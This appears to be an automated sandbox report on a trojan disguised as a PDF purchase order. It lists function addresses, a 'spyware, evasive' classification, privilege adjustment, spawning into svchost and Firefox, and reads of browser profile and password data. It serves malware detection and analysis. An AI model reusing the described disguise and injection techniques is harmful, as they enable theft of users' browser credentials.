Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FA352		2_2_035FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036003E6		2_2_036003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354E3F0		2_2_0354E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0274		2_2_035E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C02C0		2_2_035C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C8158		2_2_035C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DA118		2_2_035DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530100		2_2_03530100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F81CC		2_2_035F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036001AA		2_2_036001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F41A2		2_2_035F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D2000		2_2_035D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03564750		2_2_03564750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540770		2_2_03540770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353C7C0		2_2_0353C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355C6E0		2_2_0355C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540535		2_2_03540535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03600591		2_2_03600591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F2446		2_2_035F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E4420		2_2_035E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EE4F6		2_2_035EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FAB40		2_2_035FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F6BD7		2_2_035F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353EA80		2_2_0353EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03556962		2_2_03556962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0360A9A6		2_2_0360A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354A840		2_2_0354A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356E8F0		2_2_0356E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035268B8		2_2_035268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B4F40		2_2_035B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03560F30		2_2_03560F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E2F30		2_2_035E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03582F28		2_2_03582F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03532FC8		2_2_03532FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354CFE0		2_2_0354CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BEFA0		2_2_035BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540E59		2_2_03540E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FEE26		2_2_035FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FEEDB		2_2_035FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552E90		2_2_03552E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FCE93		2_2_035FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DCD1F		2_2_035DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354AD00		2_2_0354AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353ADE0		2_2_0353ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03558DBF		2_2_03558DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03540C00		2_2_03540C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530CF2		2_2_03530CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E0CB5		2_2_035E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352D34C		2_2_0352D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F132D		2_2_035F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0358739A		2_2_0358739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355B2C0		2_2_0355B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E12ED		2_2_035E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035452A0		2_2_035452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0360B16B		2_2_0360B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352F172		2_2_0352F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0357516C		2_2_0357516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0354B1B0		2_2_0354B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EF0CC		2_2_035EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F70E9		2_2_035F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FF0E0		2_2_035FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FF7B0		2_2_035FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03585630		2_2_03585630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F16CC		2_2_035F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F7571		2_2_035F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036095C3		2_2_036095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035DD5B0		2_2_035DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03531460		2_2_03531460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FF43F		2_2_035FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FFB76		2_2_035FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B5BF0		2_2_035B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0357DBF9		2_2_0357DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355FB80		2_2_0355FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FFA49		2_2_035FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F7A46		2_2_035F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B3A6C		2_2_035B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035EDAC6		2_2_035EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03585AA0		2_2_03585AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035E1AA3		2_2_035E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03549950		2_2_03549950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355B950		2_2_0355B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D5910		2_2_035D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AD800		2_2_035AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035438E0		2_2_035438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FFF09		2_2_035FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03503FD2		2_2_03503FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03503FD5		2_2_03503FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03541F92		2_2_03541F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FFFB1		2_2_035FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03549EB0		2_2_03549EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F1D5A		2_2_035F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03543D40		2_2_03543D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035F7D73		2_2_035F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355FDC0		2_2_0355FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B9C32		2_2_035B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FFCF2		2_2_035FFCF2
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CA352		10_2_034CA352
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034D03E6		10_2_034D03E6
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0341E3F0		10_2_0341E3F0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B0274		10_2_034B0274
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034902C0		10_2_034902C0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03498158		10_2_03498158
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03400100		10_2_03400100
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034AA118		10_2_034AA118
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C81CC		10_2_034C81CC
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034D01AA		10_2_034D01AA
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C41A2		10_2_034C41A2
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034A2000		10_2_034A2000
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03434750		10_2_03434750
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03410770		10_2_03410770
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0340C7C0		10_2_0340C7C0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0342C6E0		10_2_0342C6E0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03410535		10_2_03410535
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034D0591		10_2_034D0591
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C2446		10_2_034C2446
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B4420		10_2_034B4420
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034BE4F6		10_2_034BE4F6
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CAB40		10_2_034CAB40
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C6BD7		10_2_034C6BD7
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0340EA80		10_2_0340EA80
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03426962		10_2_03426962
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034DA9A6		10_2_034DA9A6
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0341A840		10_2_0341A840
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033F68B8		10_2_033F68B8
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0343E8F0		10_2_0343E8F0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03484F40		10_2_03484F40
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03452F28		10_2_03452F28
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03430F30		10_2_03430F30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B2F30		10_2_034B2F30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03402FC8		10_2_03402FC8
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0341CFE0		10_2_0341CFE0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0348EFA0		10_2_0348EFA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03410E59		10_2_03410E59
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CEE26		10_2_034CEE26
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CEEDB		10_2_034CEEDB
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03422E90		10_2_03422E90
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CCE93		10_2_034CCE93
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0341AD00		10_2_0341AD00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034ACD1F		10_2_034ACD1F
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0340ADE0		10_2_0340ADE0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03428DBF		10_2_03428DBF
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03410C00		10_2_03410C00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03400CF2		10_2_03400CF2
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B0CB5		10_2_034B0CB5
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C132D		10_2_034C132D
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033FD34C		10_2_033FD34C
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0345739A		10_2_0345739A
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0342B2C0		10_2_0342B2C0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B12ED		10_2_034B12ED
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034152A0		10_2_034152A0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034DB16B		10_2_034DB16B
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0344516C		10_2_0344516C
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033FF172		10_2_033FF172
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0341B1B0		10_2_0341B1B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034BF0CC		10_2_034BF0CC
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C70E9		10_2_034C70E9
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CF0E0		10_2_034CF0E0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CF7B0		10_2_034CF7B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03455630		10_2_03455630
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C16CC		10_2_034C16CC
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C7571		10_2_034C7571
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034D95C3		10_2_034D95C3
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034AD5B0		10_2_034AD5B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03401460		10_2_03401460
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CF43F		10_2_034CF43F
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CFB76		10_2_034CFB76
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03485BF0		10_2_03485BF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0344DBF9		10_2_0344DBF9
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0342FB80		10_2_0342FB80
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CFA49		10_2_034CFA49
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C7A46		10_2_034C7A46
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03483A6C		10_2_03483A6C
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034BDAC6		10_2_034BDAC6
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03455AA0		10_2_03455AA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034B1AA3		10_2_034B1AA3
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03419950		10_2_03419950
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0342B950		10_2_0342B950
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034A5910		10_2_034A5910
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0347D800		10_2_0347D800
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034138E0		10_2_034138E0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CFF09		10_2_034CFF09
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03411F92		10_2_03411F92
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D3FD5		10_2_033D3FD5
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D3FD2		10_2_033D3FD2
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CFFB1		10_2_034CFFB1
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03419EB0		10_2_03419EB0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03413D40		10_2_03413D40
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C1D5A		10_2_034C1D5A
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034C7D73		10_2_034C7D73
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0342FDC0		10_2_0342FDC0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03489C32		10_2_03489C32
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034CFCF2		10_2_034CFCF2
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02961890		10_2_02961890
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0295C700		10_2_0295C700
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0295AA70		10_2_0295AA70
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0295A920		10_2_0295A920
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0295C920		10_2_0295C920
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02964F30		10_2_02964F30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02963140		10_2_02963140
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0297B720		10_2_0297B720
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316E364		10_2_0316E364
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03160211		10_2_03160211
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316E483		10_2_0316E483
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316CB44		10_2_0316CB44
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316CBD8		10_2_0316CBD8
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316E825		10_2_0316E825
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0316D8E8		10_2_0316D8E8

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03587E54 appears 110 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0352B970 appears 250 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03575130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035BF290 appears 105 times
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: String function: 03457E54 appears 110 times
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: String function: 0348F290 appears 105 times
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: String function: 033FB970 appears 250 times
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: String function: 0347EA12 appears 86 times
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: String function: 03445130 appears 58 times
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: String function: 00A70AE3 appears 70 times
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: String function: 00A57DE1 appears 35 times
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: String function: 00A78900 appears 42 times

Source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1225351651.0000000003B73000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO_P0986880_03282025.pdf.exe
Source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1229464446.0000000003D1D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO_P0986880_03282025.pdf.exe

Source: PO_P0986880_03282025.pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@14/12

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00ABA06A GetLastError,FormatMessageW,

0_2_00ABA06A

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AA81CB AdjustTokenPrivileges,CloseHandle,		0_2_00AA81CB
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AA87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00AA87E1

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00ABB3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00ABB3FB

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00ACEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00ACEE0D

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC83BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00AC83BB

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A54E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00A54E89

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\aut5338.tmp

Jump to behavior

Source: PO_P0986880_03282025.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002D21000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CF2000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CFF000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CCD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO_P0986880_03282025.pdf.exe	Virustotal: Detection: 43%
Source: PO_P0986880_03282025.pdf.exe	ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe "C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe"
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe"
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe "C:\Windows\SysWOW64\RMActivate_ssp_isv.exe"
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe"			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe "C:\Windows\SysWOW64\RMActivate_ssp_isv.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: wsock32.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: ntmarta.dll			Jump to behavior
